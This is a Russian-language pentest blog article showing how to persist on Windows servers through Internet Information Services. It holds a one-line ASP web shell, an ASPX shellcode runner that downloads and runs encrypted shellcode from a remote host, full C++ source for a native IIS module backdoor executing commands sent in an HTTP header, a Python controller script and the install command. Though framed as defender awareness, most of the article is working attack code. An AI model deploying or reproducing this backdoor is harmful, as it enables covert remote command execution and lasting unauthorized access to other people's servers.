Всем добрый день! Меня зовут Михаил Жмайло, я пентестер в команде CICADA8 Центра инноваций МТС.
На проектах часто встречаются инстансы Internet Information Services (IIS). Это очень удобный инструмент, используемый в качестве сервера приложений. Но знаете ли вы, что даже простое развёртывание IIS может позволить злоумышленнику оставить бекдор в целевой среде?
В статье я покажу закрепление на системе, используя легитимный продукт Microsoft — Internet Information Services. Мы попрактикуемся в программировании на C++, изучим IIS Components и оставим бекдор через IIS Module.
Договоримся сразу: я рассказываю это всё не для того, чтобы вы пошли взламывать чужие системы, а чтобы вы знали, где могут оставить бекдор злоумышленники. Предупреждён — значит вооружён.

Введение
Во время проведения внутренних пентестов наша команда очень часто встречала стандартную заставку IIS. На одном проекте практически каждый компьютер имел это приложение. В тот же вечер я задался вопросом: «А что, если закрепиться на целевой системе и сохранить постоянный доступ к ней через IIS?».

К счастью, Windows даёт свободу действий разработчику: хочешь расширить возможности любой большой Enterprise-штуки? Да пожалуйста, вот тебе куча API!
Перед тем как создавать нашего монстра Франкенштейна, вспомним об уже известных способах закрепления на IIS.
Казино, блэкджек и шеллы
Издавна самым распространённым способом персиста (а в особых случаях и получением первоначального доступа) были веб-шеллы. Впрочем, из-за простоты, маленького веса и большой популярности появилось достаточно много способов обнаружить их появление на веб-сервере.

Кроме того, если не добавлять минимальнейший контроль доступа к веб-шеллу, то им сможет пользоваться любой желающий. Не очень круто, правда?
Наконец, кодировки. Возьмём стандартный веб-шелл .aspx. Загрузим в C:\inetpub\wwwroot, поставим права через icacls, запустим.

Я знал, что требования к пентестерам высокие, но знания эльфийского никто не просил.
Конечно, есть и чуть более аккуратные варианты.
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
Ровно как и чуть более громоздкие. Например, ASPX шеллкод-раннер с подгрузкой пейлоада с удалённого сервера и последующей дешифровкой AES.
Как тебе такое, Илон Маск?
<%@ Page Language="C#" AutoEventWireup="true" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Security.Cryptography" %> <%@ Import Namespace="System.Net" %> <%@ Import Namespace="System.Linq" %> <script runat="server"> [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect); [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId); [System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); [ System.Runtime.InteropServices.DllImport("kernel32.dll")] private static extern IntPtr GetCurrentProcess(); private byte[] Decrypt(byte[] data, byte[] key, byte[] iv) { using (var aes = Aes.Create()) { aes.KeySize = 256; aes.BlockSize = 128; // Keep this in mind when you view your decrypted content as the size will likely be different. aes.Padding = PaddingMode.Zeros; aes.Key = key; aes.IV = iv; using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV)) { return PerformCryptography(data, decryptor); } } } private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform) { using (var ms = new MemoryStream()) using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write)) { cryptoStream.Write(data, 0, data.Length); cryptoStream.FlushFinalBlock(); return ms.ToArray(); } } private byte[] GetArray(string url) { using (WebClient webClient = new WebClient()) { string content = webClient.DownloadString(url); byte[] byteArray = content.Split(',') .Select(hexValue => Convert.ToByte(hexValue.Trim(), 16)) .ToArray(); return byteArray; } } private static Int32 MEM_COMMIT=0x1000; private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40; protected void Page_Load(object sender, EventArgs e) { IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0); if(mem == null) { return; } // Encrypted shellcode byte[] Enc = GetArray("http://192.168.x.x/enc.txt"); // Key byte[] Key = GetArray("http://192.168.x.x/key.txt"); // IV byte[] Iv = GetArray("http://192.168.x.x/iv.txt"); // Decrypt our shellcode byte[] e4qRS= Decrypt(Enc, Key, Iv); // Allocate our memory buffer IntPtr zG5fzCKEhae = VirtualAlloc(IntPtr.Zero,(UIntPtr)e4qRS.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Copy our decrypted shellcode ito the buffer System.Runtime.InteropServices.Marshal.Copy(e4qRS,0,zG5fzCKEhae,e4qRS.Length); // Create a thread that contains our buffer IntPtr aj5QpPE = IntPtr.Zero; IntPtr oiAJp5aJjiZV = CreateThread(IntPtr.Zero,UIntPtr.Zero,zG5fzCKEhae,IntPtr.Zero,0,ref aj5QpPE); } </script> <!DOCTYPE html> <html> <body> <p>Check your listener...</p> </body> </html>
Существуют даже генераторы веб-шеллов. Сверху ко всему этому добавляется удовольствие для ценителей — перезапись web.config. Казалось бы, бери и не думай!
Но нет! Хочется чего-нибудь этакого: нового, необычного и достаточно скрытного, чтобы не каждый стажёр-защитник мог прогнать тебя со скомпрометированного хоста.
И такое решение нашлось.
IIS Components
Как я уже сказал, Microsoft позволяет расширять встроенную функциональность своих продуктов. До версии 7.0 в IIS были ISAPI Extensions и ISAPI Filters. Эти средства до сих пор доступны, но на смену им пришли IIS Handler и IIS Module соответственно.
IIS Handler позволяет обрабатывать полученный запрос на IIS и создавать ответ для различного типа контента. Например, существует хендлер в ASP.NET, позволяющий обрабатывать страницы ASPX (наши веб-шеллы в том числе).
IIS Module также участвует в обработке. IIS предоставляет ему полный и неограниченный доступ ко всем входящим и исходящим HTTP-запросам. Думаю, это наш кандидат. Сами модули можно разделить на два типа: Managed и Native. Managed — те, которые были написаны на C#, а Native — на C++. Список установленных модулей можно увидеть через стандартный диспетчер служб IIS.

Сам процесс закрепления аналогичен веб-шеллу: если идёт обращение по определённому эндпоинту с определёнными параметрами, то на системе выполняется команда.
Общий концепт
Я понимаю, как можно расширить функциональность в Windows. Всё основывается на написании собственной DLL-библиотеки с нужными методами. После её создания остаётся лишь зарегистрировать библиотеку в IIS и с помощью неё обрабатывать конкретные события, появляющиеся на сервере, например, получение нового HTTP-запроса.
Чтобы мы смогли зарегистрировать нашу библиотеку в IIS, она должна экспортировать функцию RegisterModule() со следующим прототипом:
HRESULT __stdcall RegisterModule( DWORD dwServerVersion, IHttpModuleRegistrationInfo* pModuleInfo, IHttpServer* pHttpServer )
dwServerVersion определяет версию сервера, на котором библиотека регистрируется. IHttpModuleRegistratioInfo — это так называемый интерфейс. Для неискушённых отмечу, что интерфейс в ООП можно считать некоторым обязательством класса по реализации определённых методов. Отличный разбор можно посмотреть тут.
Таким образом, обращаясь к переменной pModuleInfo (она будет идентифицировать наш модуль в IIS), мы можем извлечь имя текущего модуля с помощью GetName(), получить его ID через GetId(), но самое интересное (собственно, что нам и нужно) — подписаться на обработку определённых событий через SetRequestNotifications().
Ещё возможно установить приоритезацию, но она нам не особо интересна. Хотя если вы планируете писать высоконагруженный веб-шелл…
Впрочем, вернёмся к SetRequestNotifications().
virtual HRESULT SetRequestNotifications( IN IHttpModuleFactory* pModuleFactory, IN DWORD dwRequestNotifications, IN DWORD dwPostRequestNotifications ) = 0;
Это так называемая **чисто виртуальная функция**. Её логика должна быть реализована в каком-то классе. В нашем случае вызвать эту функцию можно, обратившись к pModuleInfo. Сама же функция принимает следующие аргументы:
pModuleFactory— экземпляр класса, который будет удовлетворять интерфейсу IHttpModuleFactory. То есть мы просто должны создать класс, указать, что он унаследован от интерфейса, и реализовать в этом классе методы GetHttpModule и TerminatedwRequestNotifications— битовая маска, идентифицирующая все события, на которые подписывается IIS Module. Нас интересуютRQ_SEND_RESPONSEиRQ_BEGIN_REQUEST. Весь список возможных событий можно найти тутdwPostRequestNotifications— битовая маска, идентифицирующая все так называемые post-event-события. Эту маску удобно использовать для обработки чего-то, что уже произошло на IIS. Нас это значение не особо интересует, поэтому ставим 0
В случае успешной инициализации функция RegisterModule() должна вернуть S_OK.
Логичный вопрос: «Где же обрабатывать события?». И перед тем как на него ответить, нужно разобраться со всеми классами и фабриками.
Класс, фабрика, племя и бедный иудей
В функции SetRequestNotification() нам следует первым параметром передать экземпляр класса, удовлетворяющего интерфейсу IHttpModuleFactory. Наш класс может быть каким угодно, главное, чтобы в нём была реализация двух методов: GetHttpModule() и Terminate().
Например, назовём класс неочевидным именем CHttpModuleFactory.
class CHttpModuleFactory : public IHttpModuleFactory { public: HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator* pAllocator) { ... здесь код ... } void Terminate() { delete this; } };
Метод GetHttpModule() будет вызываться каждый раз, когда на IIS поступает запрос, обработка которого была зарегистрирована. Terminate() будет вызываться в конце обработки запроса.
Внутри GetHttpModule() наш класс должен создать экземпляр класса CHttpModule и вернуть адрес в переменную ppModule. Именно класс CHttpModule предоставляет функционал по обработке запросов на IIS, его определение представлено в стандартном заголовочном файле httpserv.h.

Если глянем на функции OutputDebugString(), то поймём, что мало создать экземпляр класса — мы должны предусмотреть реализацию метода для обработки конкретного события. Переопределить код существующего метода можно дочерним классом, назовём его CChildHttpModule.
В самом классе пока пропишем только прототипы методов, которые будем переопределять. Но очень хорошая практика, на мой взгляд, вставлять код метода в .h-файл — может возникнуть какая-нибудь LNK*-ошибка.
class CChildHttpModule : public CHttpModule { public: REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss); };
Внутри GetHttpModule() предусмотрим код для создания экземпляра класса CChildHttpModule.
class CHttpModuleFactory : public IHttpModuleFactory { public: HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator*) { CChildHttpModule* pModule = new CChildHttpModule(); *ppModule = pModule; pModule = NULL; return S_OK; } void Terminate() { delete this; } };
Если подвести черту, то только что описанные действия реализуют паттерн проектирования, называемый «фабрикой» (отсюда и всякие *Factory в названиях интерфейсов). Этот паттерн позволяет создать объект (он и называется фабрикой) для создания других объектов. А затем, при обращении к фабрике, будут создаваться нужные объекты.
Вся логика работы теперь предельно ясна:
Регистрируем модуль в IIS.
IIS вызывает
RegisterModule().Подписываемся на нужные события, отдаём через
pModuleInfo->SetRequestNotifications()указатель на экземпляр нашей фабрики.IIS при появлении запроса обратится к методу
GetHttpModule()нашей фабрики.Создастся новый инстанс класса
CChildHttpModule().Вызовется нужный метод, соответствующий событию, с помощью этого инстанса класса. В нашем случае, если подписались на
RQ_SEND_RESPONSE, то вызоветсяOnSendResponse().Внутри метода обрабатываем ответ веб-сервера.
Возвращаем из метода
RQ_NOTIFICATION_CONTINUE. Это значение свидетельствует об успешном завершении функции по обработке.IIS запускает метод
Terminate().
Зачем обрабатывать ответ, если нужно запрос?
Логичнее было бы обрабатывать событие RQ_BEGIN_REQUEST с вызовом метода OnBeginRequest(). Но как в этом случае получать вывод? Конечно, можно что-то там накодить на сокетах или оставить слепое выполнение команд, но это не очень удобно. Поэтому я использовал RQ_SEND_RESPONSE. Тем более в методе OnSendResponse() через аргумент pHttpContext благодаря IHttpContext интерфейсу можно получить доступ как к запросу, так и к ответу.
Логика работы нашего инструмента будет предельно проста: осуществляем парсинг полученного запроса, обнаруживаем желание атакующего выполнить команду на системе, выполняем команду, добавляем вывод команды к ответу IIS-сервера — успех!
Начинаем кодить
Итак, создаём пустой проект для написания библиотеки динамической компоновки в Visual Studio. В функцию DllMain ничего не добавляем, она нам не нужна. Реализуем RegisterModule().
#include "pch.h" #include <Windows.h> #include <httpserv.h> #include "classes.h" CHttpModuleFactory* pFactory = NULL; __declspec(dllexport) HRESULT __stdcall RegisterModule( DWORD dwSrvVersion, IHttpModuleRegistrationInfo* pModuleInfo, IHttpServer* pHttpServer) { pFactory = new CHttpModuleFactory(); HRESULT hr = pModuleInfo->SetRequestNotifications(pFactory, RQ_SEND_RESPONSE, 0); return hr; }
В этом коде мы объявляем функцию, экспортируемую из DLL. Далее внутри неё создаём экземпляр новой фабрики, который будет использоваться IIS для создания объектов класса CChildHttpModule.
В заголовочном файле classes.h реализуем прототипы классов CHttpModuleFactory и CChildHttpModule.
#pragma once #include <Windows.h> #include <httpserv.h> class CChildHttpModule : public CHttpModule { public: REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss); }; class CHttpModuleFactory : public IHttpModuleFactory { public: HRESULT GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc); void Terminate(); };
В файле classes.cpp пишем логику методов этих классов.
#include "classes.h" REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss) { ... } HRESULT CHttpModuleFactory::GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc) { CChildHttpModule* pModule = new CChildHttpModule(); *ppModule = pModule; pModule = NULL; return S_OK; } void CHttpModuleFactory::Terminate() { if (this != NULL) { delete this; } }
Дальше нужно понять, как мы хотим выполнять команду и видеть вывод. После этого решаем, как будем реализовывать функцию OnSendResponse().
Методы IHttp*-интерфейса
Для минимального POC предлагаю отсылать HTTP-пакет с заголовком X-Cmd-Command: <command>. Так как наш IIS Module зарегистрирован для обработки RQ_SEND_RESPONSE, то внутри IIS вызовется функция OnSendResponse(). Прототип у неё вот такой:
virtual REQUEST_NOTIFICATION_STATUS OnSendResponse( IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProvider );
Здесь нас интересует указатель pHttpContext. Так как этот экземпляр реализует интерфейс IHttpContext, то мы можем использовать функции, определённые в этом интерфейсе.
Сначала нам следует извлечь полученный IIS запрос и отправляемый ответ. Это можно сделать с помощью методов pHttpContext->GetRequest() и pHttpContext->GetResponse().
В результате чего получим два экземпляра, соответствующих интерфейсу IHttpRequest и IHttpResponse.
Извлечь значение определённого заголовка позволяет метод GetHeader().
virtual PCSTR GetHeader( IN PCSTR pszHeaderName, OUT USHORT* pcchHeaderValue = NULL ) const = 0; virtual PCSTR GetHeader( IN HTTP_HEADER_ID ulHeaderIndex, OUT USHORT* pcchHeaderValue = NULL ) const = 0;
Остаётся лишь извлечь значение, отдать в cmd.exe /c <command>, после чего добавить результат выполнения к ответу веб-приложения. С первыми двумя шагами всё очевидно, GetHeader(), CreateProcess() с перенаправлением вывода в пайп, но как добавить результат выполнения команд?
Для этого используем метод SetHeader().
virtual HRESULT SetHeader( IN PCSTR pszHeaderName, IN PCSTR pszHeaderValue, IN USHORT cchHeaderValue, IN BOOL fReplace ) = 0; virtual HRESULT SetHeader( IN HTTP_HEADER_ID ulHeaderIndex, IN PCSTR pszHeaderValue, IN USHORT cchHeaderValue, IN BOOL fReplace ) = 0;
Обратите внимание, что этот метод присутствует и у IHttpRequest, но мы его вызываем по отношению к экземпляру IHttpResponse (ведь мы же хотим включить результат выполнения команды в ответ, так ведь? :) ).
Результат исполнения команды вставляем в формате Base64.
Как дебажить это чудо
Ранее в статье я уже упоминал о прекрасной функции OutputDebugString(). Её я буду использовать в том числе и в функции OnSendResponse(). В случае Native IIS Module это единственный возможный более-менее высокоуровневый способ (из известных мне) отладки и отлова ошибок при разработке. OutputDebugString() делает вот что:
если текущий процесс отлаживается, то текст прямиком отправляется в отладчик
иначе — вызывает стандартную функцию
OpenEvent()и пытается открыть хендл на два именованных события. Одно с именемDBWIN_BUFFER_READY, другое —DBWIN_DATA_READY. Если одно из них или оба не найдены, то строка, переданная в функцию, просто очищаетсяесли события существуют, то идёт помещение строки в память путём вызова
OpenFileMapping()с именемDBWIN_BUFFER. Если этот маппинг не найден, то текст просто очищаетсянаконец, если все три объекта существуют,
OutputDebugString()вызываетMapViewOfFile()для создания маппинга, и строка появляется в памяти. Её оттуда можно считать
Для удобства можно воспользоваться, например, DebugView.
Вот пример двух программ, одна из которых получает строки, отправляемые другой с помощью функции Outputdebugstring():
#include <Windows.h> #include <stdio.h> #include <atltime.h> int main() { HANDLE hBufferReady = ::CreateEvent(nullptr, FALSE, FALSE, L"DBWIN_BUFFER_READY"); HANDLE hDataReady = ::CreateEvent(nullptr, FALSE, FALSE, L"DBWIN_DATA_READY"); DWORD size = 1 << 12; HANDLE hMemFile = ::CreateFileMapping(INVALID_HANDLE_VALUE, nullptr, PAGE_READWRITE, 0, size, L"DBWIN_BUFFER"); auto buffer = (BYTE*)::MapViewOfFile(hMemFile, FILE_MAP_READ, 0, 0, 0); while (WAIT_OBJECT_0 == ::SignalObjectAndWait(hBufferReady, hDataReady, INFINITE, FALSE)) { SYSTEMTIME local; ::GetLocalTime(&local); DWORD pid = *(DWORD*)buffer; printf("%ws.%03d %6d: %s\n", (PCWSTR)CTime(local).Format(L"%X"), local.wMilliseconds, pid, (const char*)(buffer + sizeof(DWORD))); } getchar(); return 0; }
А вот программа, отправляющая строку:
#include <windows.h> int main() { LPCWSTR str = (LPCWSTR)L"Hi!!!"; OutputDebugString(str); return 0; }
Вывод следующий:

Примерно так выглядит процесс отладки с помощью DebugView:


Написание финального POC
Итак, нам остаётся лишь корректно описать всё в методе OnSendResponse() и получить работающий бекдор. Начнём с функций по кодированию. Будем использовать base64, поэтому здесь всё просто. Так как функция SetHeader() принимает LPCSTR, то наша функция EncodeBase64() будет возвращать LPCSTR. Кодируемые данные будут лежать в BYTE-буфере, поэтому первым аргументом будет адрес буфера, вторым — его размер.
const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; LPCSTR EncodeBase64(BYTE* buffer, size_t in_len) { std::string out; int val = 0, valb = -6; for (size_t i = 0; i < in_len; ++i) { unsigned char c = buffer[i]; val = (val << 8) + c; valb += 8; while (valb >= 0) { out.push_back(base64_chars[(val >> valb) & 0x3F]); valb -= 6; } } if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]); while (out.size() % 4) out.push_back('='); char* encodedString = new char[out.length() + 1]; std::memcpy(encodedString, out.data(), out.length()); encodedString[out.length()] = '\0'; return encodedString; }
Расписывать принцип работы алгоритма, думаю, нет смысла, ведь это стандартный Base64.
Перейдём к самому сочному — обработке OnSendResponse(). Я сначала предоставлю полный код функции, а затем мы его пошагово разберём.
REQUEST_NOTIFICATION_STATUS CChildHttpModule::OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss) { OutputDebugString(L"OnSendResponse IN"); IHttpRequest* pHttpRequest = pHttpContext->GetRequest(); IHttpResponse* pHttpResponse = pHttpContext->GetResponse(); USHORT uComLen = 0; LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen); if (lpCommand == NULL || uComLen == 0) { OutputDebugString(L"lpCommand == NULL || uComLen == 0"); return RQ_NOTIFICATION_CONTINUE; } OutputDebugString(L"Command isn't null"); lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1); lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen); std::vector<BYTE> output; if (ExecuteCommand(lpCommand, output) != 0) { OutputDebugString(L"ExecuteCommand Failed"); return RQ_NOTIFICATION_CONTINUE; } OutputDebugString(L"ExecuteCommand success"); if (output.empty()) { OutputDebugString(L"Buffer Is empty!"); return RQ_NOTIFICATION_CONTINUE; } OutputDebugString(L"Buffer is not empty"); LPCSTR b64Data = EncodeBase64(output.data(), output.size()); if (b64Data == NULL) { OutputDebugString(L"Base64 Data Is Null!"); return RQ_NOTIFICATION_CONTINUE; } pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false); output.clear(); delete[] b64Data; OutputDebugString(L"OnSendResponse OUT"); return RQ_NOTIFICATION_CONTINUE; }
Во-первых, как и обещал, множество OutputDebugString(). Это позволяет через DebugView отслеживать состояние модуля IIS.

Во-вторых, извлекаем из pHttpContext экземпляр ответа и запроса.
IHttpRequest* pHttpRequest = pHttpContext->GetRequest(); IHttpResponse* pHttpResponse = pHttpContext->GetResponse();
Затем через чтение заголовка X-Cmd-Command получаем значение команды, которую следует исполнить.
LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen); if (lpCommand == NULL || uComLen == 0) { OutputDebugString(L"lpCommand == NULL || uComLen == 0"); return RQ_NOTIFICATION_CONTINUE; } OutputDebugString(L"Command isn't null"); lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1); lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);
Обратите внимание, что заголовок я поместил в переменную HEADER. Она определена в файле defs.h. Это позволяет достаточно быстро и без особых проблем менять используемый заголовок.
Основная функциональность нашего бекдора — выполнение произвольных команд. Поэтому я создаю вектор с данными типа BYTE. В этой переменной будет находиться результат выполнения команды.
std::vector<BYTE> output; if (ExecuteCommand(lpCommand, output) != 0) { OutputDebugString(L"ExecuteCommand Failed"); return RQ_NOTIFICATION_CONTINUE; } OutputDebugString(L"ExecuteCommand success"); if (output.empty()) { OutputDebugString(L"Buffer Is empty!"); return RQ_NOTIFICATION_CONTINUE; } OutputDebugString(L"Buffer is not empty");
ExecuteCommand() выглядит вот так.
DWORD ExecuteCommand(LPCSTR command, std::vector<BYTE>& outputBuffer) { STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; HANDLE hReadPipe, hWritePipe; BOOL success = FALSE; if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) { OutputDebugString(L"CreatePipe failed"); return -1; } ZeroMemory(&si, sizeof(STARTUPINFOA)); si.cb = sizeof(STARTUPINFOA); si.dwFlags |= STARTF_USESTDHANDLES; si.hStdOutput = hWritePipe; si.hStdError = hWritePipe; char cmdCommand[MAX_PATH]; snprintf(cmdCommand, MAX_PATH, "C:\\Windows\\System32\\cmd.exe /c %s", command); if (!CreateProcessA( NULL, cmdCommand, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { OutputDebugString(L"CreateProcessA failed"); CloseHandle(hReadPipe); CloseHandle(hWritePipe); return -1; } OutputDebugString(L"CreateProcessA Success"); CloseHandle(hWritePipe); outputBuffer.clear(); const DWORD tempBufferSize = 4096; std::vector<BYTE> tempBuffer(tempBufferSize); DWORD bytesRead; while (true) { if (!ReadFile(hReadPipe, tempBuffer.data(), tempBufferSize, &bytesRead, NULL) || bytesRead == 0) break; outputBuffer.insert(outputBuffer.end(), tempBuffer.begin(), tempBuffer.begin() + bytesRead); } CloseHandle(hWritePipe); CloseHandle(hReadPipe); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 0; }
Матёрому безопаснику эта функция покажется донельзя простой. Первым делом создаём пайп для получения результата команды. Следующим шагом генерируем исполняемую команду (cmd.exe /c <command>), после чего её выполняем. Результат выполнения упадёт в пайп, из которого мы считываем данные и помещаем их в наш вектор.
Процесс чтения также достаточно прост. Как только функция начинает завершаться с ошибкой либо данные перестают читаться, значит всё, конец чтения :)
После считывания всех данных в вектор кодируем его в Base64 и вставляем в ответ веб-сервера через метод SetHeader().
LPCSTR b64Data = EncodeBase64(output.data(), output.size()); if (b64Data == NULL) { OutputDebugString(L"Base64 Data Is Null!"); return RQ_NOTIFICATION_CONTINUE; } OutputDebugStringA(b64Data); pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false); output.clear(); delete[] b64Data; OutputDebugString(L"OnSendResponse OUT"); return RQ_NOTIFICATION_CONTINUE; }
Выполняем команды
Момент истины! Добиваемся выполнения команд. Для того чтобы отправлять запросы на заражённый IIS, напишем простенький скрипт на Python.
import requests import argparse import base64 parser = argparse.ArgumentParser(description='Send a custom command to a server and print the response.') parser.add_argument('--host', type=str, required=True, help='HTTP URL of the host to connect to') parser.add_argument('--cmd', type=str, required=True, help='Command to send in the X-Cmd-Command header') parser.add_argument('--header', type=str, default='X-Cmd-Command', help='Header to receive the response in, defaults to X-Cmd-Command') args = parser.parse_args() url = args.host headers = { args.header: args.cmd } response = requests.get(url, headers=headers) if response.status_code == 200: response_value = response.headers.get(args.header) if response_value: decoded_value = base64.b64decode(response_value.encode()).decode() print(f"Значение заголовка {args.header} в ответе: {decoded_value}") else: print(f"Заголовок {args.header} отсутствует в ответе.") else: print(f"Ошибка: Не удалось соединиться с сервером. Статус код: {response.status_code}")
Скрипт принимает два необходимых и один опциональный параметр:
--host— URL-адрес хоста, на котором расположен IIS--cmd— команда для выполнения--header— имя заголовка, через который отдаём команду и получаем вывод. ИспользуемX-Cmd-Command, но если вы перекомпилируете проект с другим заголовком, то не забудьте указать новое значение
Перед тем как увидеть столь заветный результат, не забудьте зарегистрировать в IIS наш модуль. Делается одной простой командой:
C:\Windows\system32\inetsrv\appcmd.exe install module /name:"Backdoor" /image:C:\Windows\System32\inetsrv\Backdoor.dll /add:true
Можно, конечно, установить через графический интерфейс, но это как-то не по-хакерски.
При успешной регистрации увидим в DebugView строку RegisterModule.

Если мы просто зайдём на IIS и будем обновлять страницу, то ничего подозрительного не будет. Можем лишь видеть, как успешно логируется наше же сообщение о том, что никакой команды получено не было.

Запускаем наш Python-скрипт и видим успешное выполнение команды!

Success!
Заключение
Порой вполне стандартные и легитимные механизмы могут оказаться весьма полезными при проведении пентестов. Есть ещё очень много функциональности, которую можно добавить к этому проекту. Например, было бы отлично кодировать не только вывод, но и ввод. Чтобы в заголовке X-Cmd-Command отдавалась команда в Base64. К счастью, получать значение заголовка мы научились. За вами — прикрутить функцию по декодированию из Base64. Все необходимые данные уже лежат в base64.cpp. Дерзайте :)
Полный код проекта доступен на GitHub.